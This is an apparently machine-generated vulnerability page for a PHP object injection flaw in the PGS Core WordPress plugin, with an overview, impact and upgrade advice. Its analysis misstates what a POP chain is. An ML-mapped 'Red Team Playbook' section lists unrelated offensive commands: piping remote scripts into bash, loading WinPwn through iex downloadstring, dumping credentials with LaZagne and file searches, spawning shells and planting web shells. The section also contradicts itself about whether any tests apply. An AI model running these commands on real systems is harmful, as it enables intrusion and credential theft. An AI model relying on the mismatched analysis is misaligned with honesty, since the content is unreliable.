CVE-2025-0855
Overview
This vulnerability is a PHP Object Injection arising from unsafe deserialization of untrusted input within the 'import_header' function of the PGS Core WordPress plugin. The flaw exists in all versions up to and including 5.8.0, where the plugin processes serialized PHP objects without sufficient validation. The affected component is the PGS Core plugin's import_header functionality, which handles input deserialization improperly, enabling injection of arbitrary PHP objects.
Vulnerability Description
The PGS Core plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 5.8.0 via deserialization of untrusted input in the 'import_header' function. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to inject arbitrary PHP objects, potentially enabling deletion of arbitrary files, sensitive data disclosure, or remote code execution if a suitable POP chain is present via other installed plugins or themes. No user interaction or authentication is required (CVSS vector: AV:N/AC:L/PR:N/UI:N). This can lead to full system compromise, data breaches, and service disruption in affected WordPress environments running the vulnerable PGS Core plugin.
Solution
Users should upgrade the Potenza Global Solutions PGS Core plugin to a version later than 5.8.0, where this vulnerability has been addressed. Detailed patch information and version updates are available in the vendor's changelog at https://docs.potenzaglobalsolutions.com/docs/ciyashop-wp/changelog/ and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/5dfc2249-3761-49c6-966e-73c33be74c0e?source=cve. No specific workaround is documented; immediate upgrade is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the PGS Core plugin for WordPress arises from a critical flaw in the handling of untrusted input during the deserialization process within the 'import_header' function. This flaw allows for PHP Object Injection, which occurs when an application deserializes data from an untrusted source without proper validation or sanitization. In this case, the plugin fails to adequately filter input, enabling attackers to craft malicious payloads that can manipulate the application's behavior. The severity of this vulnerability is underscored by its high CVSS score, indicating a significant risk to systems utilizing this plugin.
Attack vectors for exploiting this vulnerability are particularly concerning due to the potential for unauthenticated access. An attacker could leverage this flaw by sending specially crafted requests to the vulnerable plugin, leading to the injection of arbitrary PHP objects. While the vulnerable software does not contain a known "proof of concept" (POP) chain, the presence of additional plugins or themes could create a pathway for exploitation. If an attacker successfully injects a malicious object, they could gain the ability to execute arbitrary code, delete files, or exfiltrate sensitive information, significantly compromising the integrity and confidentiality of the affected system.
The real-world impact of this vulnerability extends beyond technical implications; it poses substantial business risks as well. Organizations using the PGS Core plugin may face data breaches, loss of customer trust, and potential legal ramifications stemming from non-compliance with data protection regulations. The ability for attackers to execute code remotely could lead to widespread system compromise, resulting in operational downtime and financial losses. Furthermore, the exploitation of this vulnerability could serve as a gateway for further attacks, allowing adversaries to pivot within a network and target other critical assets.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the PGS Core plugin to the latest version is essential, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Organizations should also conduct regular security assessments and code reviews to identify and remediate vulnerabilities in their WordPress installations. Educating developers about secure coding practices, particularly regarding input validation and data handling, is crucial in preventing similar vulnerabilities in the future.
In conclusion, the PHP Object Injection vulnerability in the PGS Core plugin for WordPress represents a significant threat to the security posture of affected organizations. The potential for unauthenticated exploitation and the severe consequences of successful attacks necessitate immediate attention from security teams. By prioritizing timely updates, employing robust detection mechanisms, and fostering a culture of security awareness, organizations can mitigate the risks associated with this vulnerability and enhance their overall cybersecurity resilience.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-0855 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5dfc2249-3761-49c6-966e-73c33be74c0e?source=cve |
| docs.potenzaglobalsolutions.com |
GitHub CVE
|
https://docs.potenzaglobalsolutions.com/docs/ciyashop-wp/changelog/ |